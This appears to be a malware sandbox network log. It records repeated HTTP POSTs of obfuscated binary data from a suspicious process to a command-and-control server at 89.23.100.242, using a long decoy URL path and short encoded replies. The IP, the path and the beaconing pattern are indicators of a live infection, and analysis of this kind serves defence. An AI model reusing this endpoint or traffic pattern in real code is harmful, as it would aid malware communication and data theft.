Jan 10, 2025 07:57:54.882251024 CET	2472	OUT	Data Raw: 43 51 70 6a 56 53 64 53 5a 67 74 4c 36 41 33 31 56 4e 65 48 33 56 58 73 2f 4a 4a 49 45 55 76 7a 46 62 4a 6f 37 75 32 71 58 43 30 4e 6d 63 7a 36 32 49 69 37 59 44 77 77 6a 69 75 51 69 68 65 5a 6f 48 7a 65 73 32 48 51 30 4f 61 6b 64 5a 53 41 2b 2f Data Ascii: CQpjVSdSZgtL6A31VNeH3VXs/JJIEUvzFbJo7u2qXC0Nmcz62Ii7YDwwjiuQiheZoHzes2HQ0OakdZSA+/DoDRv4EekSH/jFj/sOnUZMa87X7bb8V68c1o1X/WxsD/3OyfZybZtp2DIpnnbj15+hP3/m8j5G92zLDNKkzjCxXV/HA+e/sIMuGfG59RIWp7rOC+k10pb+KSVGVO9YMYhMFyd0SjGep3W9sN7b7LeBv3qIHjvTo8L
Jan 10, 2025 07:57:54.887125015 CET	2472	OUT	Data Raw: 30 4a 74 58 78 70 41 39 5a 6d 4a 6b 74 6a 55 32 35 42 4a 79 4b 71 74 76 68 35 4b 2f 48 41 46 45 62 65 6b 36 4c 74 55 66 36 7a 42 63 75 64 4e 6c 37 44 67 36 69 4d 75 61 34 6c 6e 77 63 57 76 38 34 6e 63 45 78 77 4e 70 78 35 47 50 36 72 78 76 4e 38 Data Ascii: 0JtXxpA9ZmJktjU25BJyKqtvh5K/HAFEbek6LtUf6zBcudNl7Dg6iMua4lnwcWv84ncExwNpx5GP6rxvN8Q0pFrcmYA9cTiWE+ZTuVwWcWEylJ0yo75G7OGLkDtbj8BxmlgAR0F7UcNS7bjoy9tjX0wt9cWQH0hRiq2vF14sKcpzxXb0iXXcHjblDHG2UFYXoEj6VEBCh/uWSxr9LmsQ5WHBY2lXo2q/vy1RuvvnSSL4m0mh4PQ
Jan 10, 2025 07:57:55.275729895 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49764	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:57:54.547162056 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:57:54.892357111 CET	2544	OUT	Data Raw: 59 53 46 53 5e 5a 53 57 58 5b 57 56 50 58 5b 50 55 50 5e 52 54 59 51 5e 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YSFS^ZSWX[WVPX[PUP^RTYQ^RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$; <>=[+&/;\2<=(8$Z67U+7)?"14X$'_!/Y.%
Jan 10, 2025 07:57:55.295809984 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:57:55.449727058 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:57:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49765	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:57:55.582652092 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue
Jan 10, 2025 07:57:55.939254045 CET	2544	OUT	Data Raw: 5c 56 43 57 5b 5d 56 52 58 5b 57 56 50 5e 5b 51 55 56 5e 53 54 51 51 58 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \VCW[]VRX[WVP^[QUV^STQQXRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'/(>&>%$-:R?=((<Z"4+3>?F&'0'_!/Y.=
Jan 10, 2025 07:57:56.344883919 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:57:56.478418112 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:57:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49767	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:57:56.597197056 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:57:56.954626083 CET	2544	OUT	Data Raw: 5c 55 43 55 5e 5b 56 51 58 5b 57 56 50 5c 5b 5b 55 5c 5e 53 54 5a 51 5b 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \UCU^[VQX[WVP\[[U\^STZQ[RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR';;[(=(5;;9%W?=](467W<+X)Y!%#':'_!/Y.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49768	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:57:57.007466078 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2036 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:57:57.360899925 CET	2036	OUT	Data Raw: 59 54 43 56 5b 59 53 52 58 5b 57 56 50 5d 5b 56 55 52 5e 5c 54 51 51 52 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YTCV[YSRX[WVP][VUR^\TQQRRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'D/!0+-=]?P?/"<=,^(!8?3Z)%.<''_!/Y.1
Jan 10, 2025 07:57:57.750890970 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:57:57.886811972 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:57:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 0f 1e 39 1f 23 38 23 0e 24 3f 08 0b 2d 59 39 57 28 20 28 1d 2a 5b 2c 06 3d 0d 24 0d 3a 59 34 0b 22 15 0c 05 29 22 26 51 26 2f 2b 0f 32 37 21 59 0c 13 26 5f 3c 3a 2e 0c 29 03 20 5e 2b 31 0f 18 30 0d 02 06 33 13 00 08 21 3c 33 07 2b 29 22 0b 2b 08 32 0b 39 2a 2c 5f 3e 02 2c 1c 24 1c 2a 57 0c 1f 25 0e 22 0c 13 13 36 32 3e 11 30 01 3f 1f 30 01 28 57 25 01 02 05 23 3a 06 01 2c 39 20 5d 36 3d 37 06 3d 00 31 0f 22 22 27 0c 28 2c 20 51 22 0d 22 50 02 30 5d 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 989#8#$?-Y9W( ([,=$:Y4")"&Q&/+27!Y&_<:.) ^+103!<3+)"+29,_>,$*W%"62>0?0(W%#:,9 ]6=7=1""'(, Q""P0]Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49769	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:57:57.133534908 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:57:57.485857010 CET	2536	OUT	Data Raw: 59 51 46 55 5e 5d 56 5e 58 5b 57 56 50 5b 5b 57 55 57 5e 5e 54 5a 51 59 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YQFU^]V^X[WVP[[WUW^^TZQYRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$;'X(![? ,>>.7?8!<<3Z=$.8_0'_!/Y.9
Jan 10, 2025 07:57:57.897707939 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:57:58.037674904 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:57:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49770	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:57:58.159732103 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue
Jan 10, 2025 07:57:58.517132998 CET	2544	OUT	Data Raw: 5c 54 46 50 5b 59 56 56 58 5b 57 56 50 53 5b 50 55 50 5e 5d 54 5f 51 5c 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \TFP[YVVX[WVPS[PUP^]T_Q\RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'C,1Y<>:?6,%V<-? 5$'V0?),C&\$:'_!/Y.
Jan 10, 2025 07:57:58.919815063 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:57:59.070936918 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:57:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49772	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:57:59.189234972 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:57:59.548393965 CET	2544	OUT	Data Raw: 59 5e 46 54 5e 5b 56 50 58 5b 57 56 50 58 5b 54 55 5c 5e 53 54 5d 51 5f 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: Y^FT^[VPX[WVPX[TU\^ST]Q_RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'C,28+9<P8]/.>.'<8X"7#(3/_><>F1=^$'_!/Y.%
Jan 10, 2025 07:57:59.954938889 CET	225	IN	HTTP/1.1 100 Continue Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 46 72 69 2c 20 31 30 20 4a 61 6e 20 32 30 32 35 20 30 36 3a 35 37 3a 35 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 0d 0a 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Fri, 10 Jan 2025 06:57:59 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-Encoding4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49778	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:00.105047941 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:00.454629898 CET	2544	OUT	Data Raw: 5c 56 46 53 5e 56 56 54 58 5b 57 56 50 52 5b 56 55 50 5e 5d 54 5d 51 52 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \VFS^VVTX[WVPR[VUP^]T]QRRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'81/\+-)(6\/)R<- <(+!4#Q?)9&.$''_!/Y.
Jan 10, 2025 07:58:00.838918924 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:00.968684912 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49789	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:01.097579002 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:01.454739094 CET	2544	OUT	Data Raw: 5c 55 43 52 5b 5a 56 52 58 5b 57 56 50 5c 5b 5a 55 54 5e 5f 54 5c 51 58 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \UCR[ZVRX[WVP\[ZUT^_T\QXRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'@81#?1(6[/\9R?4+8]"#P+0?^+?.2>4X3*'_!/Y.
Jan 10, 2025 07:58:01.932148933 CET	225	IN	HTTP/1.1 100 Continue Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 46 72 69 2c 20 31 30 20 4a 61 6e 20 32 30 32 35 20 30 36 3a 35 38 3a 30 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 0d 0a 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Fri, 10 Jan 2025 06:58:01 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-Encoding4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49795	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:02.056330919 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:02.407752037 CET	2544	OUT	Data Raw: 59 54 43 50 5b 5a 56 50 58 5b 57 56 50 5e 5b 54 55 50 5e 53 54 5e 51 59 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YTCP[ZVPX[WVP^[TUP^ST^QYRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$,<2(P$,>?-$^?^?!,(03_=)&.$^$'_!/Y.=
Jan 10, 2025 07:58:02.803215027 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49796	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:02.925606012 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2012 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:03.282778978 CET	2012	OUT	Data Raw: 59 56 43 53 5e 5d 56 52 58 5b 57 56 50 58 5b 51 55 5c 5e 5e 54 5d 51 5b 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YVCS^]VRX[WVPX[QU\^^T]Q[RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$/!$(>9[+#,"(><^<8#!47<$=?9&>70'_!/Y.%
Jan 10, 2025 07:58:03.786283016 CET	374	IN	HTTP/1.1 100 Continue Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 46 72 69 2c 20 31 30 20 4a 61 6e 20 32 30 32 35 20 30 36 3a 35 38 3a 30 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 0d 0a 39 38 0d 0a 0f 1e 3a 0d 37 05 2f 0a 26 2f 36 0a 2e 2c 22 0f 28 09 34 5a 3d 2d 0a 00 2a 33 2f 1e 2d 3c 3b 54 21 3b 00 00 3f 31 22 50 27 02 06 55 32 0d 21 59 0c 13 26 5b 3d 3a 0f 56 29 3a 2c 13 3c 0f 36 43 33 30 20 03 33 3d 31 54 34 3f 2c 5c 3f 5c 32 0b 28 1f 0c 0c 3a 07 01 04 28 2f 3c 1c 27 0c 2a 57 0c 1f 26 57 35 54 3e 0f 36 32 2d 00 25 3b 3f 1e 25 28 06 50 32 06 24 02 20 3a 02 00 2c 2a 3f 03 35 3e 3f 07 2a 3e 0c 10 23 31 20 18 2b 2c 20 51 22 0d 22 50 [TRUNCATED] Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Fri, 10 Jan 2025 06:58:03 